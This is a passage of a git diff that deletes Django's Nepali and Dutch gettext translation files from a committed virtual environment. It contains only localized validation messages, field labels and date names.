भन्दा बढी अक्षरहरु नभएको निश्चित पार्नु होस ।" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "शून्य मान अनुमति छैन।" - -msgid "and" -msgstr "र" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(field_labels)s भएको %(model_name)s बनि सकेको छ । " - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "%(value)r मान उपयुक्त छनोट होइन ।" - -msgid "This field cannot be null." -msgstr "यो फाँट शून्य हुन सक्दैन ।" - -msgid "This field cannot be blank." -msgstr "यो फाँट खाली हुन सक्दैन ।" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(field_label)s भएको %(model_name)s पहिलै विद्धमान छ ।" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(date_field_label)s %(lookup_type)s को लागि %(field_label)s अनुपम हुनु पर्दछ ।" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "फाँटको प्रकार: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "बुलियन (True अथवा False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "वर्ण (%(max_length)s सम्म)" - -msgid "Comma-separated integers" -msgstr "कम्माले छुट्याइएका अंकहरु ।" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "मिति (समय रहित)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "मिति (समय सहित)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "दश्मलव संख्या" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "अवधि" - -msgid "Email address" -msgstr "ई-मेल ठेगाना" - -msgid "File path" -msgstr "फाइलको मार्ग" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "दश्मलव हुने संख्या" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "अंक" - -msgid "Big (8 byte) integer" -msgstr "ठूलो (८ बाइटको) अंक" - -msgid "IPv4 address" -msgstr "आइ.पी.भी४ ठेगाना" - -msgid "IP address" -msgstr "IP ठेगाना" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "बुलियन (True, False अथवा None)" - -msgid "Positive big integer" -msgstr "" - -msgid "Positive integer" -msgstr "सकारात्मक पूर्णांक" - -msgid "Positive small integer" -msgstr "सानो जोड अङ्क" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "स्लग(%(max_length)s सम्म)" - -msgid "Small integer" -msgstr "सानो अङ्क" - -msgid "Text" -msgstr "पाठ" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "समय" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "र बाइनरी डाटा" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "फाइल" - -msgid "Image" -msgstr "चित्र" - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "फोरेन कि (प्रकार नातागत फाँटले जनाउछ)" - -msgid "One-to-one relationship" -msgstr "एक-देखि-एक नाता" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s सम्बन्ध" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s सम्बन्धहरु" - -msgid "Many-to-many relationship" -msgstr "अनेक-देखि-अनेक नाता" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "यो फाँट अनिवार्य छ ।" - -msgid "Enter a whole number." -msgstr "संख्या राख्नुहोस ।" - -msgid "Enter a valid date." -msgstr "उपयुक्त मिति राख्नुहोस ।" - -msgid "Enter a valid time." -msgstr "उपयुक्त समय राख्नुहोस ।" - -msgid "Enter a valid date/time." -msgstr "उपयुक्त मिति/समय राख्नुहोस ।" - -msgid "Enter a valid duration." -msgstr "उपयुक्त अवधि राख्नुहोस ।" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "दिन गन्ती {min_days} र {max_days} बीचमा हुनु पर्छ । " - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "कुनै फाईल पेश गरिएको छैन । फारममा ईनकोडिङको प्रकार जाँच गर्नुहोस । " - -msgid "No file was submitted." -msgstr "कुनै फाईल पेश गरिएको छैन ।" - -msgid "The submitted file is empty." -msgstr "पेश गरिएको फाइल खाली छ ।" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"यो फाइलको नाममा बाढीमा %(max)d अङ्क भएको निश्चित गर्नु होस । (यसमा %(length)d छ " -"।)" -msgstr[1] "" -"यो फाइलको नाममा बढी मा %(max)d अङ्कहरू भएको निश्चित गर्नु होस । (यसमा %(length)d " -"छ ।)" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "दुवै नछान्नुहोस, कि त फाइल पेश गर्नुहोस वा चेक बाकस मा छान्नुहोस ।" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"उपयुक्त चित्र अपलोड गर्नुहोस । तपाइले अपलोड गर्नु भएको फाइल चित्र होइन वा बिग्रेको चित्र " -"हो ।" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "उपयुक्त विकल्प छान्नुहोस । %(value)s प्रस्तावित विकल्प होइन ।" - -msgid "Enter a list of values." -msgstr "मानहरु राख्नुहोस" - -msgid "Enter a complete value." -msgstr "पुरा मान राख्नु होस ।" - -msgid "Enter a valid UUID." -msgstr "उपयुक्त UUID राख्नु होस ।" - -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(लुकेका %(name)s) %(error)s" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "म्यानेजमेन्ट फारम डाटा चलाइएको वा नभरेको पाइयो ।" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "कृपया %d अथवा सो भन्दा थोरै फारम बुझाउनु होस ।" -msgstr[1] "कृपया %d अथवा सो भन्दा थोरै फारमहरु बुझाउनु होस ।" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "कृपया %d अथवा सो भन्दा धेरै फारम बुझाउनु होस ।" -msgstr[1] "कृपया %d अथवा सो भन्दा धेरै फारमहरु बुझाउनु होस ।" - -msgid "Order" -msgstr "क्रम" - -msgid "Delete" -msgstr "मेट्नुहोस" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "कृपया %(field)s का लागि दोहोरिइका तथ्याङ्कहरु सच्याउनुहोस ।" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "कृपया %(field)s का लागि दोहोरिइका तथ्याङ्कहरु नौलो तथ्याङ्क सहित सच्याउनुहोस ।" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"कृपया %(field_name)s का लागि दोहोरिइका तथ्याङ्कहरु सच्याउनुहोस जसमा " -"%(date_field)sको %(lookup)s नौलो हुनुपर्दछ ।" - -msgid "Please correct the duplicate values below." -msgstr "कृपया तलका दोहोरिइका मानहरु सच्याउनुहोस ।" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "उपयुक्त विकल्प छान्नुहोस । छानिएको विकल्प प्रस्तावित विकल्प होइन ।" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "सबै खाली गर्नु होस ।" - -msgid "Currently" -msgstr "अहिले" - -msgid "Change" -msgstr "फेर्नुहोस" - -msgid "Unknown" -msgstr "अज्ञात" - -msgid "Yes" -msgstr "हुन्छ" - -msgid "No" -msgstr "होइन" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "हो,होइन,सायद" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d बाइट" -msgstr[1] "%(size)d बाइटहरु" - -#, python-format -msgid "%s KB" -msgstr "%s किलोबाइट" - -#, python-format -msgid "%s MB" -msgstr "%s मेगाबाइट" - -#, python-format -msgid "%s GB" -msgstr "%s गिगाबाइट" - -#, python-format -msgid "%s TB" -msgstr "%s टेराबाइट" - -#, python-format -msgid "%s PB" -msgstr "%s पिटाबाइट" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "मध्यरात" - -msgid "noon" -msgstr "मध्यान्ह" - -msgid "Monday" -msgstr "सोमवार" - -msgid "Tuesday" -msgstr "मंगलवार" - -msgid "Wednesday" -msgstr "बुधवार" - -msgid "Thursday" -msgstr "बिहीवार" - -msgid "Friday" -msgstr "शुक्रवार" - -msgid "Saturday" -msgstr "शनिवार" - -msgid "Sunday" -msgstr "आइतवार" - -msgid "Mon" -msgstr "सोम" - -msgid "Tue" -msgstr "मंगल" - -msgid "Wed" -msgstr "बुध" - -msgid "Thu" -msgstr "बिहि" - -msgid "Fri" -msgstr "शुक्र" - -msgid "Sat" -msgstr "शनि" - -msgid "Sun" -msgstr "आइत" - -msgid "January" -msgstr "जनवरी" - -msgid "February" -msgstr "फेब्रुअरी" - -msgid "March" -msgstr "मार्च" - -msgid "April" -msgstr "अप्रिल" - -msgid "May" -msgstr "मई" - -msgid "June" -msgstr "जुन" - -msgid "July" -msgstr "जुलै" - -msgid "August" -msgstr "अगस्त" - -msgid "September" -msgstr "सेप्टेम्बर" - -msgid "October" -msgstr "अक्टुवर" - -msgid "November" -msgstr "नभम्वर" - -msgid "December" -msgstr "डिसम्वर" - -msgid "jan" -msgstr "जनवरी" - -msgid "feb" -msgstr "फेब्रुअरी" - -msgid "mar" -msgstr "मार्च" - -msgid "apr" -msgstr "अप्रिल" - -msgid "may" -msgstr "मई" - -msgid "jun" -msgstr "जुन" - -msgid "jul" -msgstr "जुलै" - -msgid "aug" -msgstr "अग्सत" - -msgid "sep" -msgstr "सेप्तेम्बर" - -msgid "oct" -msgstr "अक्टुवर" - -msgid "nov" -msgstr "नभम्वर" - -msgid "dec" -msgstr "डिसम्वर" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "जनवरी" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "फेब्रुअरी" - -msgctxt "abbrev. month" -msgid "March" -msgstr "मार्च" - -msgctxt "abbrev. month" -msgid "April" -msgstr "अप्रिल" - -msgctxt "abbrev. month" -msgid "May" -msgstr "मई" - -msgctxt "abbrev. month" -msgid "June" -msgstr "जुन" - -msgctxt "abbrev. month" -msgid "July" -msgstr "जुलै" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "अगस्त" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "सेप्तेम्बर" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "अक्टुवर" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "नभम्वर" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "डिसम्वर" - -msgctxt "alt. month" -msgid "January" -msgstr "जनवरी" - -msgctxt "alt. month" -msgid "February" -msgstr "फेब्रुअरी" - -msgctxt "alt. month" -msgid "March" -msgstr "मार्च" - -msgctxt "alt. month" -msgid "April" -msgstr "अप्रिल" - -msgctxt "alt. month" -msgid "May" -msgstr "मई" - -msgctxt "alt. month" -msgid "June" -msgstr "जुन" - -msgctxt "alt. month" -msgid "July" -msgstr "जुलै" - -msgctxt "alt. month" -msgid "August" -msgstr "अगस्त" - -msgctxt "alt. month" -msgid "September" -msgstr "सेप्टेम्बर" - -msgctxt "alt. month" -msgid "October" -msgstr "अक्टुवर" - -msgctxt "alt. month" -msgid "November" -msgstr "नभम्वर" - -msgctxt "alt. month" -msgid "December" -msgstr "डिसम्वर" - -msgid "This is not a valid IPv6 address." -msgstr "यो उपयुक्त IPv6 ठेगाना होइन ।" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "अथवा" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d वर्ष" -msgstr[1] "%d वर्षहरु" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d महिना" -msgstr[1] "%d महिनाहरु" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d सप्ताह" -msgstr[1] "%d सप्ताहहरु" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d दिन" -msgstr[1] "%d दिनहरु" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d घण्टा" -msgstr[1] "%d घण्टाहरु" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d मिनट" -msgstr[1] "%d मिनटहरु" - -msgid "Forbidden" -msgstr "निषेधित" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF प्रमाणीकरण भएन । अनुरोध विफल ।" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "DEBUG=True ले ज्यादा सुचना प्रदान गर्दछ ।" - -msgid "No year specified" -msgstr "साल तोकिएको छैन ।" - -msgid "Date out of range" -msgstr "मिति मिलेन ।" - -msgid "No month specified" -msgstr "महिना तोकिएको छैन ।" - -msgid "No day specified" -msgstr "दिन तोकिएको छैन ।" - -msgid "No week specified" -msgstr "साता तोकिएको छैन ।" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s उपलब्ध छैन ।" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(class_name)s.allow_future 'False' हुनाले आगामी %(verbose_name_plural)s उपलब्ध " -"छैन ।" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "%(verbose_name)s भेटिएन ।" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "रद्द पृष्ठ (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "डाइरेक्टरी इन्डेक्सहरु यहाँ अनुमति छैन ।" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s को सूची" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "ज्याङ्गो : वेब साइट र एप्लिकेसन बनाउन सहयोगी औजार " - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"ज्याङ्गो %(version)s को परिवर्तन तथा विशेषता यहाँ हेर्नु होस" - -msgid "The install worked successfully! Congratulations!" -msgstr "बधाई छ । स्थापना भएको छ ।" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "ज्याङ्गो दस्तावेज ।" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "मतदान एप उदाहरण " - -msgid "Get started with Django" -msgstr "ज्याङ्गो सुरु गर्नु होस ।" - -msgid "Django Community" -msgstr "ज्याङ्गो समुदाय" - -msgid "Connect, get help, or contribute" -msgstr "सहयोग अथवा योगदान गरी जोडिनु होस" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nl/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/nl/LC_MESSAGES/django.mo deleted file mode 100644 index c240c49c..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/nl/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/nl/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/nl/LC_MESSAGES/django.po deleted file mode 100644 index 11b7a977..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/nl/LC_MESSAGES/django.po +++ /dev/null @@ -1,1357 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bas Peschier , 2011,2013 -# Blue , 2011-2012 -# Bouke Haarsma , 2013 -# Claude Paroz , 2014 -# Erik Romijn , 2013 -# Evelijn Saaltink , 2016 -# Harro van der Klauw , 2011-2012 -# Ilja Maas , 2015 -# jaap3 , 2024 -# Jannis Leidel , 2011 -# 6a27f10aef159701c7a5ff07f0fb0a78_05545ed , 2011-2012,2014 -# Michiel Overtoom , 2014 -# Meteor0id, 2019-2020 -# 8de006b1b0894aab6aef71979dcd8bd6_5c6b207 , 2014-2015 -# Tino de Bruijn , 2013 -# Tonnes , 2017,2019-2020,2022-2024 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: jaap3 , 2024\n" -"Language-Team: Dutch (http://app.transifex.com/django/django/language/nl/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: nl\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabisch" - -msgid "Algerian Arabic" -msgstr "Algerijns Arabisch" - -msgid "Asturian" -msgstr "Asturisch" - -msgid "Azerbaijani" -msgstr "Azerbeidzjaans" - -msgid "Bulgarian" -msgstr "Bulgaars" - -msgid "Belarusian" -msgstr "Wit-Russisch" - -msgid "Bengali" -msgstr "Bengaals" - -msgid "Breton" -msgstr "Bretons" - -msgid "Bosnian" -msgstr "Bosnisch" - -msgid "Catalan" -msgstr "Catalaans" - -msgid "Central Kurdish (Sorani)" -msgstr "Centraal-Koerdisch (Sorani)" - -msgid "Czech" -msgstr "Tsjechisch" - -msgid "Welsh" -msgstr "Welsh" - -msgid "Danish" -msgstr "Deens" - -msgid "German" -msgstr "Duits" - -msgid "Lower Sorbian" -msgstr "Nedersorbisch" - -msgid "Greek" -msgstr "Grieks" - -msgid "English" -msgstr "Engels" - -msgid "Australian English" -msgstr "Australisch-Engels" - -msgid "British English" -msgstr "Brits-Engels" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spaans" - -msgid "Argentinian Spanish" -msgstr "Argentijns Spaans" - -msgid "Colombian Spanish" -msgstr "Colombiaans Spaans" - -msgid "Mexican Spanish" -msgstr "Mexicaans Spaans" - -msgid "Nicaraguan Spanish" -msgstr "Nicaraguaans Spaans" - -msgid "Venezuelan Spanish" -msgstr "Venezolaans Spaans" - -msgid "Estonian" -msgstr "Ests" - -msgid "Basque" -msgstr "Baskisch" - -msgid "Persian" -msgstr "Perzisch" - -msgid "Finnish" -msgstr "Fins" - -msgid "French" -msgstr "Frans" - -msgid "Frisian" -msgstr "Fries" - -msgid "Irish" -msgstr "Iers" - -msgid "Scottish Gaelic" -msgstr "Schots-Gaelisch" - -msgid "Galician" -msgstr "Galicisch" - -msgid "Hebrew" -msgstr "Hebreeuws" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Kroatisch" - -msgid "Upper Sorbian" -msgstr "Oppersorbisch" - -msgid "Hungarian" -msgstr "Hongaars" - -msgid "Armenian" -msgstr "Armeens" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonesisch" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "IJslands" - -msgid "Italian" -msgstr "Italiaans" - -msgid "Japanese" -msgstr "Japans" - -msgid "Georgian" -msgstr "Georgisch" - -msgid "Kabyle" -msgstr "Kabylisch" - -msgid "Kazakh" -msgstr "Kazachs" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Koreaans" - -msgid "Kyrgyz" -msgstr "Kirgizisch" - -msgid "Luxembourgish" -msgstr "Luxemburgs" - -msgid "Lithuanian" -msgstr "Litouws" - -msgid "Latvian" -msgstr "Lets" - -msgid "Macedonian" -msgstr "Macedonisch" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Mongools" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Maleis" - -msgid "Burmese" -msgstr "Birmaans" - -msgid "Norwegian Bokmål" -msgstr "Noors Bokmål" - -msgid "Nepali" -msgstr "Nepalees" - -msgid "Dutch" -msgstr "Nederlands" - -msgid "Norwegian Nynorsk" -msgstr "Noors Nynorsk" - -msgid "Ossetic" -msgstr "Ossetisch" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Pools" - -msgid "Portuguese" -msgstr "Portugees" - -msgid "Brazilian Portuguese" -msgstr "Braziliaans Portugees" - -msgid "Romanian" -msgstr "Roemeens" - -msgid "Russian" -msgstr "Russisch" - -msgid "Slovak" -msgstr "Slovaaks" - -msgid "Slovenian" -msgstr "Sloveens" - -msgid "Albanian" -msgstr "Albanisch" - -msgid "Serbian" -msgstr "Servisch" - -msgid "Serbian Latin" -msgstr "Servisch Latijn" - -msgid "Swedish" -msgstr "Zweeds" - -msgid "Swahili" -msgstr "Swahili" - -msgid "Tamil" -msgstr "Tamil" - -msgid "Telugu" -msgstr "Telegu" - -msgid "Tajik" -msgstr "Tadzjieks" - -msgid "Thai" -msgstr "Thai" - -msgid "Turkmen" -msgstr "Turkmeens" - -msgid "Turkish" -msgstr "Turks" - -msgid "Tatar" -msgstr "Tataars" - -msgid "Udmurt" -msgstr "Oedmoerts" - -msgid "Uyghur" -msgstr "Oeigoers" - -msgid "Ukrainian" -msgstr "Oekraïens" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Oezbeeks" - -msgid "Vietnamese" -msgstr "Vietnamees" - -msgid "Simplified Chinese" -msgstr "Vereenvoudigd Chinees" - -msgid "Traditional Chinese" -msgstr "Traditioneel Chinees" - -msgid "Messages" -msgstr "Berichten" - -msgid "Site Maps" -msgstr "Sitemaps" - -msgid "Static Files" -msgstr "Statische bestanden" - -msgid "Syndication" -msgstr "Syndicatie" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Dat paginanummer is geen geheel getal" - -msgid "That page number is less than 1" -msgstr "Dat paginanummer is kleiner dan 1" - -msgid "That page contains no results" -msgstr "Die pagina bevat geen resultaten" - -msgid "Enter a valid value." -msgstr "Voer een geldige waarde in." - -msgid "Enter a valid domain name." -msgstr "Voer een geldige domeinnaam in." - -msgid "Enter a valid URL." -msgstr "Voer een geldige URL in." - -msgid "Enter a valid integer." -msgstr "Voer een geldig geheel getal in." - -msgid "Enter a valid email address." -msgstr "Voer een geldig e-mailadres in." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Voer een geldige ‘slug’ in, bestaande uit letters, cijfers, liggende " -"streepjes en verbindingsstreepjes." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Voer een geldige ‘slug’ in, bestaande uit Unicode-letters, cijfers, liggende " -"streepjes en verbindingsstreepjes." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Voer een geldig %(protocol)s-adres in." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4- of IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Voer alleen cijfers in, gescheiden door komma's." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Zorg ervoor dat deze waarde gelijk is aan %(limit_value)s (het is nu " -"%(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Zorg ervoor dat deze waarde hoogstens %(limit_value)s is." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Zorg ervoor dat deze waarde minstens %(limit_value)s is." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Zorg ervoor dat deze waarde een veelvoud is van stapgrootte %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Zorg dat deze waarde een veelvoud is van stapgrootte %(limit_value)s, " -"beginnend bij %(offset)s, bv. %(offset)s, %(valid_value1)s, " -"%(valid_value2)s, enzovoort." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Zorg dat deze waarde ten minste %(limit_value)d teken bevat (het zijn er nu " -"%(show_value)d)." -msgstr[1] "" -"Zorg dat deze waarde ten minste %(limit_value)d tekens bevat (het zijn er nu " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Zorg dat deze waarde niet meer dan %(limit_value)d teken bevat (het zijn er " -"nu %(show_value)d)." -msgstr[1] "" -"Zorg dat deze waarde niet meer dan %(limit_value)d tekens bevat (het zijn er " -"nu %(show_value)d)." - -msgid "Enter a number." -msgstr "Voer een getal in." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Zorg dat er niet meer dan %(max)s cijfer is." -msgstr[1] "Zorg dat er niet meer dan %(max)s cijfers zijn." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Zorg dat er niet meer dan %(max)s cijfer achter de komma staat." -msgstr[1] "Zorg dat er niet meer dan %(max)s cijfers achter de komma staan." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Zorg dat er niet meer dan %(max)s cijfer voor de komma staat." -msgstr[1] "Zorg dat er niet meer dan %(max)s cijfers voor de komma staan." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Bestandsextensie ‘%(extension)s’ is niet toegestaan. Toegestane extensies " -"zijn: 